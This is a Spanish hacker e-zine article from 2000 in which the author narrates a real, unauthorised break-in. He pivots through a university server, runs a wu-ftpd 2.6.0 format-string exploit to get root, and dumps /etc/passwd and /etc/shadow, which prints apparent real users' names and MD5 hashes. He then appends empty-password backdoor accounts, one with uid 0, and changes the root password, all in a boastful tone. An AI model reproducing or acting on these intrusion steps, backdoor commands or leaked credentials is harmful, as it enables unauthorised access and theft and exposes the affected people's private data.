RareGaZz17:(r17_06):30/11/2000 << Back To RareGaZz17


+------+-------------------------------------------+----------+--------------+ | +-->| Root con 10 minutos |<---------| ReYDeS | +->|<--> r17_06 <-+-----------+-----+--------->+--------------+----------->|-+ +-------------------------------------------------------------------------- | +----> Advertencia <----+ | | Todos los hechos narrados en el presente texto, han sido realizados por el autor del mismo. RareGaZz - Team, no se reponsabiliza de lo expresado en estos codigos ASCII. | | +---> Fin de Advertencia+-- +-------------+ -+---> INDICE | +-------+ 0000. Minuto 0 | 0001. Minuto 1 | 0010. Minuto 2 | 0011. Minuto 3 | 0100. Minuto 4 | 0101. Minuto 5 | 0110. Minuto 6 | 0111. Minuto 7 | 1000. Minuto 8 | 1001. Minuto 9 | 1010. Minuto 10 | |<------+--- 1011. El bug | 1100. Notas | |--+|<----------------+ +----------------------+ |--> 0000. Minuto 0 <--| +----------------------+ Instancias Preliminares... Parecia un dia comun, en el cual tenia que madrugar para ir a mis clases matutinas en la universidad. Y obtengo un root que no habia planificado; afectado por diversos factores; como el tener que ir a clases y la falta de tiempo. El Objetivo... Un server que estaba en mi "lista negra" de servers objetivo, mejor seria decir en stand-by. Un server de un "conocido", bueno no tan conocido, pero creo que NO me denunciara por esto. :D Lugar, tiempo y epoca... Frente a una PC, un dia de invierno del a~o 2000, y la epoca?... pues que tal... post-guerra!. | +--> Vamos con el menjunje este, que es lo que todos estan esperando. Voy a hacer esto en forma de una narracion y por alli colocare algunos recortes del log del ingreso. Ademas los "*" que aparecen por alli, los he colocado yo exprofesamente, ademas de que algunos IP's han sido manipulados. <--+ | +----------------------+ |--> 0001. Minuto 1 <--| +----------------------+ Caray!... empezamos con dificultades, dos de cuatro servers en donde residen algunos shells, no estan funcionando de la mejor manera. Que hago entonces???... hmmm!... ya!... como se me habia olvidado?, por alli hay un servidor que pertenece a unos matematicos; mejor seria decir; que sirve a usuarios que pertenecen a una facultad de matematicas. Asi es que CON/SIN permiso, voy a tener que hacer uso de su distinguido servidor y desde alli, llegar a mi objetivo. Despues de unos telnet's... > Trying 161.132.23*.***... > Connected to ****.*****.edu.pe. > Escape character is '^]'. > > Red Hat Linux release *.* (******) > Kernel 2.2.12-20 on an i686 > login: ReYDeS > Password: ******* (ReYDeS) ... jeje (Ustedes creen?) > Last login: Tue Jul 11 00:17:58 from localhost Permiso!, permiso que estoy entrando!... hmm!... este usuario esta mejor... con el otro tenia que forzar una shell!... ademas pareciera que me cambiaron su password. Pero este tiene un poquitin mas de privilegios. :X +----------------------+ |--> 0010. Minuto 2 <--| +----------------------+ Parece ser que estoy solo!... Asi es que si hay alguna mujer soltera de unos 20 a~os, pues enviar su foto a mi e-mail. Jeje :)...bueno, bueno me estoy desviando del tema... eso solo en teoria... > [ReYDeS@]$ finger > > Login Name Tty Idle Login Time Office Office > ReYDeS averiguenlo. /0 Jul 11 00:07 (localhost) Va!... no perdamos tiempo!... y vamos con lo que quiero hacer hoy. Que quiero hacer hoy?... por aqui sonaria eso de; hasta donde quieres llegar hoy?... que?... estoy delirando!, excuse me!. Bien, entonces reviso mi lista, y tenemos tres servidores... voy a comprobar si en alguno de ellos se encuentra esta falla; y de esta manera explotarlo!. Y se estaran preguntando?... cual es ese bug?... hmmm pues... una breve explicacion de este bug esta en la penultima seccion, denominada 'El bug'. +----------------------+ |--> 0011. Minuto 3 <--| +----------------------+ Necesito un compilador... y lo obtengo!...chesu!... que bueno que soy!. Bueno, alguien tiene que darme animos!; y como no veo a nadie mas; me los proporciono yo. Ahora... voy a compilar y a probar. El eterno ciclo de prueba y error, y si hay error, vuelve a probar!. > [ReYDeS@]$ cc -o bugftp bugftp.c Ya esta!... Ahora veamos una peque~a ayuda; tal vez algunos de ustedes ni se enteraron. :) > [ReYDeS@]$ bugftp -help Usage: ./bugftp -t <target> [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x] [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir] target : host with any wuftpd user : anonymous user dir : if not anonymous user, you need to have writable directory ... .. . systypes: 0 - RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm 1 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm 2 - SuSe 6.3 with wuftpd 2.6.0(1) from rpm ... .. . +----------------------+ |--> 0100. Minuto 4 <--| +----------------------+ Ya tengo el binario en su lugar... jeje... voy a probarlo. Haber quien quiere ser primero?... mejor lanzo mi moneda de tres caras (imaginensela) al aire para saber, cual de los tres servers es el premiado. Y el ganador es;... pues que casualidad!... el mismo server donde estoy... tiene la version del ftp vulnerable... Bueno, tal vez resulte... entonces... > [ReYDeS@]$ ./bugftp <parametros> [localhost] Return Address: 0x08075844, AddrRetAddr: 0xbfffb038, Shellcode: 152 > loggin into system.. > USER anonymous > 331 Guest login ok, send your complete e-mail address as password. > PASS <shellcode> > 230 Guest login ok, access restrictions apply. > STEP 2 : Skipping, magic number already exists: [**,**:**,**:01,01:02,04] > STEP 3 : Checking if we can reach our return address by format string > ********************** > ********** Co*o!... esto no resulto!... un error me indica que no es posible obtener una shell... hmmm!... haber, reviso un poco... Ya se que puede ser; la version del ftp es vulnerable, pero la version de RedHat no corresponde con alguno de los tipos de sistemas; bueno, no perdamos tiempo, que es de lo que menos dispongo en estos momentos. Que pase el que sigue!... wait.... Otro!... nada!... que pasa???.... Nuevamente un error, hmm, luego veo que puede ser. Voy con el siguiente. Por alli escuche que: -La tercera es la vencida!. Ademas, este es el server de un "conocido". > Target: 127.0.0.1 (ftp/<shellcode>): RedHat *.* (?) with wuftpd 2.6.0(1) > from rpm > Return Address: 0x08075844, AddrRetAddr: 0xbfffb038, Shellcode: 152 > > loggin into system.. > USER ftp > 331 Guest login ok, send your complete e-mail address as password. > PASS <shellcode> > 230 Guest login ok, access restrictions apply. > STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04] > STEP 3 : Checking if we can reach our return address by format string > STEP 4 : Ptr address test: 0xbfffb038 (if it is not 0xbfffb038 ^C me now) > STEP 5 : Sending code.. this will take about 10 seconds. > Press ^\ to leave shell Y yo muy obediente a las leyes :P... presiono "^\"... Y espero con ansias ese shell root!... vamos... que solo dispongo de pocos minutos.... +----------------------+ |--> 0101. Minuto 5 <--| +----------------------+ Segundos despues... > ^\Linux server 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown > uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp) Eureka!... Haber... ya se que tipo de sistema es; pues un linux, ya se la version, pero... quien mas estara aqui?. Aqui no hay un prompt, ni nada que identifique, pero a probar se ha dicho, en teoria tengo un shell... pero no me lo creo :)). +----------------------+ |--> 0110. Minuto 6 <--| +----------------------+ > finger > /bin/sh: ^finger: command not found Disculpa?!!... como de que; command not found?... nada es perfecto, pero... probar un "w", no estaria de mas... > w > 6:22am up 6 days, 10:21, 0 users, load average: 0.07, 0.03, 0.01 > USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT Solo?... solo!... para variar; debe ser la hora. Tal vez esten aun desayunando. Pues creo que deberian de estar aqui y rapido, que se me vienen las ideas no tan decorosas y benevolas. Me pregunto!... Y yo solo me respondo. Donde estare?... si, sentado en una silla... pero aqui en que directorio estare en el "/" raiz?. Mejor se lo pregunto al sistema. > ls > bin > boot > dev > etc ... .. . > root > sbin > tftpboot > tmp > usr Todo esta muy tranquilo... y pensar que esto lo hago a plena luz del dia. Bueno; si puede decirse que en las computadoras existe el dia o la noche. Asi es que decido tomarme un respiro de 10 segundos mientras estiro mis falanges. +----------------------+ |--> 0111. Minuto 7 <--| +----------------------+ Lo primero que se me ocurre es ver el passwd y el shadow... me pregunto si podre leerlos?... jeje!, que sarcastico!... siendo root, cualquiera, asi que chiste tiene. Vamos a verlos pues. > cd /etc > cat passwd Y la respuesta no se hace esperar! > root:x:0:0:root:/root:/bin/bash > bin:x:1:1:bin:/bin: ... > ftp:x:14:50:FTP User:/home/ftp: ... > squid:x:23:23::/var/spool/squid:/dev/null > dwong:x:500:100:David Wong:/home/dwong:/bin/bash > mhornae:x:501:100:Marco Antonio Horna Espinoza:/home/mhornae:/bin/bash > czaval:x:502:100:Cesar Zavaleta:/home/czaval:/bin/bash > dwong2:x:503:100:David Wong (account 2):/home/dwong2:/bin/bash > emiranda:x:504:100:Eddy Miranda:/home/emiranda:/bin/bash > hjqg:x:505:100:Hector Quispe Ganoza:/home/hjqg:/bin/false > webadmin:x:506:100:Web Administrator:/home/webadmin:/bin/bash > dwong.lnx:x:507:100:David Wong:/home/dwong.lnx:/bin/bash > ereyes:x:508:100:Eduardo Reyes:/home/ereyes:/bin/bash > sergei:x:509:100:Sergio Cabrera Dekovic:/home/sergei:/bin/bash > efrain:x:510:100:Efrain Berrio:/home/efrain:/bin/bash > invitado:x:511:100:Invitado al sistema de correo:/home/invitado:/bin/false > mysql:x:100:101:MySQL server:/var/lib/mysql:/bin/bash > steppen:x:0:0::/home/steppen:/bin/bash Vamos con el siguiente... > cat shadow Y la respuesta esta vez, me complace mas que la anterior. > root:$1$Xlcp0.RY$5BMyHtKz4cIAYJmoK1Cx31:11106:0:99999:7:-1:-1:134539180 > bin:*:11058:0:99999:7::: ... > ftp:*:11058:0:99999:7::: ... > squid:!!:11058:0:99999:7::: > dwong:$1$P2lN2fzh$1/mZy9kc91.gAAbGVbPSA/:11132:-1:99999:-1:-1:-1:134539500 > mhornae:$1$YrT5eG7Q$q7cTdqm/pvKnBArwXShJ4.:11060:-1:99999:-1:-1:-1:134539660 > czaval:$1$lKaT9n25$m7bEZTKukMab.Hmce2YGD/:11072:-1:99999:-1:-1:-1:135526780 > dwong2:$1$mphyN2hP$0s8mDSfg.G/Bo2TFtRRcr.:11074:-1:99999:-1:-1:-1:135515748 > emiranda:$1$8ur3B4jA$3Zk6SMDUNM2Rn9KsqGGfM/:11103:-1:99999:-1:-1:-1:134539204 > hjqg:$1$LEJ459eT$es5i1bDWawt.uG.db0AjT.:11087::99999::::134540284 > webadmin:$1$DamkmqnV$f4uWqMdei0YyjaS3szEvS.:11096::99999::::134540284 > dwong.lnx:$1$rwbK4/6g$7b1M4KcQe49tymGfBBF4M0:11105:-1:99999:-1:-1:-1:135513380 > ereyes:$1$OEE3ChzB$7ZG9r5XTFj6GW6tinjJjL1:11118:-1:99999:-1:-1:-1:134539580 > sergei:$1$lI81tyia$Q.apmZJsoirUzUjO6wsa5.:11121:-1:99999:-1:-1:-1:134539556 > efrain:$1$ztZtPlpY$LWf9kKUWg41U3ZYHWRGot1:11144:-1:99999:-1:-1:-1:134539580 > invitado:$1$r5/fnuiw$qnZDjuyPsnDWgd5tmIkS5.:11146:-1:99999:-1:-1:-1:134539204 > mysql:!!:11141:0:99999:7::: > steppen:$1$KxBOm6OR$Hy0S.4Lnvn5ToF/GoN.wi.:11146:0:99999:7:-1:-1:134540276 Hmmm, pero que veo!... MD5!... mi John The Ripper se va a divertir un buen rato con este file. +----------------------+ |--> 1000. Minuto 8 <--| +----------------------+ Que mas?... bueno, voy a colocar una propagandistica linea a su archivo passwd, para ingresar como un usuario registrado!... Simple!... hasta tengo reparos en hacerlo, pues es tan estupido. :P > echo "ReYDeS::0:0:ReYDeS:/home/reydes:/bin/bash" >>/etc/passwd Pero porque root?... vamos a crearnos un usuario normal, no hay que ser muy ambiciosos. Mira quien lo dice?. :D > echo "otro::550:100:Averigualo:/home/otro:/bin/bash" Visualizo el archivo /etc/passwd, y quedo bien con mi nuevo usuario ReYDeS. :) Que mas podemos hacer?... ah!... haber... que tal si le cambio el passwd a alguno de los usuarios; doy un breve vistazo a los users.. y ya tengo al premiado, un tal sergei. Pero hombre!... porque no intentas cambiar el password al root?, al fin y al cabo soy el 'root', y puedo tomarme estas atribuciones que NO me corresponden. :) > passwd root > > Changing password for user root > New UNIX password: ****** > Retype new UNIX password: ****** El password es visible mientras se escribe, asi es que no entiendo porque me pide reescribirlo, que no soy miope ni nada de eso! :D... jeje... No es nada personal contra el admin de este server, simplemente son cosas que se me van ocurriendo y las voy haciendo. Pero mientras mas ideas indecorosas recaen en mi mente... +----------------------+ |--> 1001. Minuto 9 <--| +----------------------+ De pronto... cuando estaba tan tranquilo, mis oidos perciben un beep acompa~ado de: > Message from Talk_Daemon@localhost at 06:36 ... > talk: connection requested by UN-USUARIO@localhost > talk: respond with: talk UN-USUARIO@localhost :-X... hmmm!!!... que hago?, respondo?... jeje, pues que co~o, se que me quiere distraer, pero aun asi, no estoy haciendo nada malo, al menos es lo que creo, pero el no sabe que mis intenciones son pacificas. >:) > [Connection established] El tipo este, me pregunta que estoy haciendo?... Como si no lo supiera!... :D, le respondo de la manera mas cordial posible: - Estoy comprobando la seguridad del servidor de FULANO. El responde con un jeje... muy largo y la coneccion se va!... diantres!... Pense que me habian botado, pero NO!, no era eso. Recuerdan al server de los matematicos?, pues es el culpable... Claro! > [ReYDeS@] ping ****.*****.edu.pe > > PING ****.*****.edu.pe (127.0.0.1) from 127.0.0.1 : 56(84) bytes of > data. ... > > --- ****.*****.edu.pe ping statistics --- > 3 packets transmitted, 0 packets received, 100% packet loss No me gusta nada esto, que habra pasado?, se darian cuenta del uso de su server?. Vamos!, que es para una buena causa. Que mejor causa, que mi aprendizaje?. Ademas, que momento eligen para preocuparse por su seguridad!. :D. +----------------------+ |--> 1010. Minuto 10 <--| +----------------------+ Trato de reponer la coneccion, pero ya es muy lenta; logro ingresar una vez mas como un usuario registrado y me topo con un mensaje de bienvenida muy histerico: "Hacker en el sistema!" (escrito en palabras mas antisonantes). Despues de ese recibimiento, me vuelvo root; pero me desespera la lentitud de la coneccion, ademas tenia que ir a clases, y no creo que al profesor le guste la excusa: -Disculpe profe, pero estaba hackeando un servidor. :DDD . Y hablando de eso, pues se me hizo tarde y no entre a clases :P, tanto apuro para llegar tarde!... Pierdo la coneccion, intento logearme, pero ya han cerrado sus puertos, telnet y ftp, intento visualizar su pagina web, y alli esta. Tal vez unos retoques a su web no le hubiesen caido mal, pero no deseaba hacer nada de lo que despues pueda arrepentirme. Me levanto de mi asiento; mis piernas estan adormecidas; tomo mis 2 diskettes, pienso en una persona, respiro profundo... y me retiro del resinto en cuestion. 10, 9, 8,... 0 segundos... Y aqui no ha pasado nada!... Y si me acusan de algo, pues como escuche por alli: - Alega demencia!. +----------------------+ |---> 1011. El bug <---| +----------------------+ Para alcanzar el root, se ha explotado una vulnerabilidad existente en las versiones del wuftpd 2.6.0 o superior; del cual se tenia conocimiento en circulos muy cerrados y que recientemente salio publicado en diversos sites sobre seguridad. Mediante la explotacion de esta vulnerabilidad; como yo y tal vez muchos de ustedes lo habran podido comprobar; es posible que usuarios remotos o locales alcancen provilegios de root. Ademas de no ser necesario en muchos casos contar con una cuenta en el server objetivo, este puede ser "ftp" o "anonymous", de esta forma el ataque puede venir de cualquier lugar en i-net. La solucion a este problema, pues lo de siempre, aplicar el patch correspondiente, actualizarse a una version superior o abandonar al wuftpd. Mas detalles sobre esta vulnerabilidad, en los sites dedicados a la seguridad. Alli encontraran informacion, como exploits, mensajes posteados, recomendaciones, etc. etc. +----------------------+ |---> 1100. Notas <---| +----------------------+ Como ustedes habran podido constatar, mi intencion no era la de da~ar el sistema, ni cambiar su web, ni nada de eso. Tal vez jorobar un poco la paciencia, pero nada mas. Si, si; ahora soy inocente!. >:) A lo mucho; las molestias que he podido causar son; el haber cambiado las claves de algunos usuarios y la del root. :D. jeje... Ademas de la adicion de un par de cuentas en su archivo "passwd" y el haber manipulado algunos procesos. Respecto al sistema, pues... creo que de ahora en adelante seran un poco mas cuidadosos (por no decir paranoicos), con la seguridad. Yo me despido hasta una proxima oportunidad. Espero que hayan disfrutado la lectura del presente texto. Y no vayan por alli explotando ftp's!... El que sigue... +----> | <-+------| -->|<----+ | ReYDeS | | Peru - A~o 2000 | <-+--------+------->|<---+-----+ +-> | +-> + " Si el dia de hoy, las cosas no resultan como deseas; no te preocupes!, ma~ana tampoco resultaran!. " y.o.